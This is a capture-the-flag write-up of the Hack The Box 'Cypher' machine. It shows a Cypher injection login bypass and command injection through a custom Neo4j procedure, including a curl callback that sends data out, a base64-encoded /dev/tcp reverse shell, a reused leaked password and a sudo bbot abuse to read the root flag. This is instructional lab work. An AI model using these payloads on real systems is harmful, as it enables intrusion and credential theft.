# Writeup: Cypher
Table of Contents
Cypher is a medium linux box.
Recon
Lets start with some initial recon
nmap -sV -sC cypher.htbStarting Nmap 7.93 ( https://nmap.org ) at 2025-05-01 15:14 CESTNmap scan report for cypher.htb (10.10.11.57)Host is up (0.013s latency).Not shown: 998 closed tcp ports (conn-refused)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 be68db828e6332455446b7087b3b52b0 (ECDSA)|_ 256 e55b34f5544393f87eb6694cacd63d23 (ED25519)80/tcp open http nginx 1.24.0 (Ubuntu)|_http-title: GRAPH ASM|_http-server-header: nginx/1.24.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.14 secondsWe don’t find many interesting surfaces just a webserver and ssh server.
When we visit the webserver we a greeted with a graph based company website. Which has a demo to requires login. Lets do some more enumeration on the webserver and see if we can find any interesting directories or files.
Enum
gobuster dir -u "http://cypher.htb" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt===============================================================Gobuster v3.1.0by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://cypher.htb[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.1.0[+] Timeout: 10s===============================================================2025/05/01 15:17:16 Starting gobuster in directory enumeration mode===============================================================/index (Status: 200) [Size: 4562]/about (Status: 200) [Size: 4986]/login (Status: 200) [Size: 3671]/demo (Status: 307) [Size: 0] [--> /login]/api (Status: 307) [Size: 0] [--> /api/docs]/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]Testing seems like a good place to start.
In testing we find custom-apoc-extension-1.0-SNAPSHOT.jar Does not directly
provide any useful information. It appears to be a custom APOC extension for
Neo4j, but the code does not directly seem to contain too many intersting
things:
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;import java.io.InputStreamReader;import java.util.Arrays;import java.util.concurrent.TimeUnit;import java.util.stream.Stream;import org.neo4j.procedure.Description;import org.neo4j.procedure.Mode;import org.neo4j.procedure.Name;import org.neo4j.procedure.Procedure;
public class CustomFunctions { @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ) @Description("Returns the HTTP status code for the given URL as a string") public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception { if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) url = "https://" + url; String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url }; System.out.println("Command: " + Arrays.toString((Object[])command)); Process process = Runtime.getRuntime().exec(command); BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); StringBuilder errorOutput = new StringBuilder(); String line; while ((line = errorReader.readLine()) != null) errorOutput.append(line).append("\n"); String statusCode = inputReader.readLine(); System.out.println("Status code: " + statusCode); boolean exited = process.waitFor(10L, TimeUnit.SECONDS); if (!exited) { process.destroyForcibly(); statusCode = "0"; System.err.println("Process timed out after 10 seconds"); } else { int exitCode = process.exitValue(); if (exitCode != 0) { statusCode = "0"; System.err.println("Process exited with code " + exitCode); } } if (errorOutput.length() > 0) System.err.println("Error output:\n" + errorOutput.toString()); return Stream.of(new StringOutput(statusCode)); }
public static class StringOutput { public String statusCode;
public StringOutput(String statusCode) { this.statusCode = statusCode; } }}However the url concatnation is not sanatized before being executed. So we might be able to get RCE from that.
Login
Lets try to login first to see what the app can do. If we insert a ’ we get a nice error
Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata)neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"It seem to do neo4j queries where we are able to inject something
neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL 'http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community': Illegal character in query at index 45: http://10.10.15.14/?version=5.24.1&name=Neo4j Kernel&edition=community ()}The query seems to be vulnerable to injections.
Injectable query
The following query is being run.
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash"We somehow want this query to return a hash we control. For example we generate the sha1 of “password”:“5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8” and use it as the hash.
Exploit
As a username:
admin' or 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash;//This should return our hash as the hash for the user “admin”. With this “username” and password:password we can login.
Foothold
Now we see a intresting graph query environment. There are different queries present, one however contains a functions that we have seen before:
MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCodeHere it uses the custom.getUrlStatusCode function which we know can be used to
execute arbitrary code.
Let’s try to get a call back to our machine.
On our machine:
python -m http.server 80MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14 ; curl http://10.10.15.14/$(id)") YIELD statusCode RETURN n.data, statusCodeWe get a call back to our machine with the id of the user running the query.
Reverse Shell
If we input & the query breaks, so we need to encode our payload. We can use
base64 to encode our payload and then decode it on the target machine. We can
also use bash to execute our payload.
On our machine:
nc -lvp 9000Revshell with base64 encoding
MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode("http://10.10.15.14/ ; echo 'L3Vzci9iaW4vc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQvOTAwMCAwPiYx+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNC85MDAwIDA+JjE=' | base64 -d | bash ") YIELD statusCode RETURN n.data, statusCodeAnd we pop a shell!
Lets upgrade it a bit with python
python3 -c 'import pty;pty.spawn("/bin/bash")'We however are not the user yet but are neo4j.
Our home is in var/lib/neo4j
It contains a .bash_history file with the following commands:
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhKThis password might be reused so lets try it with the main user. Which we can
find in /etc/passwd. The user with uid 1000 is graphasm.
We can change user to graphasm with password: cU4btyib.20xtCMCXkBmerhK
su graphasmpassword: cU4btyib.20xtCMCXkBmerhKThe password is correct!
We can get the user flag:
graphasm@cypher:~$ cat user.txt4f0321e2faf40fef1deda785583983c1To make it easier we login via ssh now to get a nice interactive shell.
Root
Lets first check what sudo permissions we have.
graphasm@cypher:~$ sudo -lMatching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher: (ALL) NOPASSWD: /usr/local/bin/bbotBbot is probably the way to go.
It is a python script located at /opt/pipx/venvs/bbot/bin/bbot
#!/opt/pipx/venvs/bbot/bin/python# -*- coding: utf-8 -*-import reimport sysfrom bbot.cli import mainif __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())~Bbot is a osint tools that can be used to gather information about a target. It has several modules that can be used to gather different types of information.
graphasm@cypher:/tmp$ bbot -h ______ _____ ____ _______ | ___ \| __ \ / __ \__ __| | |___) | |__) | | | | | | | ___ <| __ <| | | | | | | |___) | |__) | |__| | | | |______/|_____/ \____/ |_| BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]] [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo] [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]] [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset] [--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]
Bighuge BLS OSINT Tool
options: -h, --help show this help message and exit
Target: -t TARGET [TARGET ...], --targets TARGET [TARGET ...] Targets to seed the scanIt has the options to read a traget file. So lets just read to root flag. And look into the debugging output to see the flag
sudo bbot -t /root/root.txt -o /tmp/reader/ -dAnd we see the flag:
Target: {'seeds': ['24baf57137b77142eba47e80d0dd5aab'],The flag is 24baf57137b77142eba47e80d0dd5aab.
We still don’t have a root shell. But that is left as an exercise for the reader.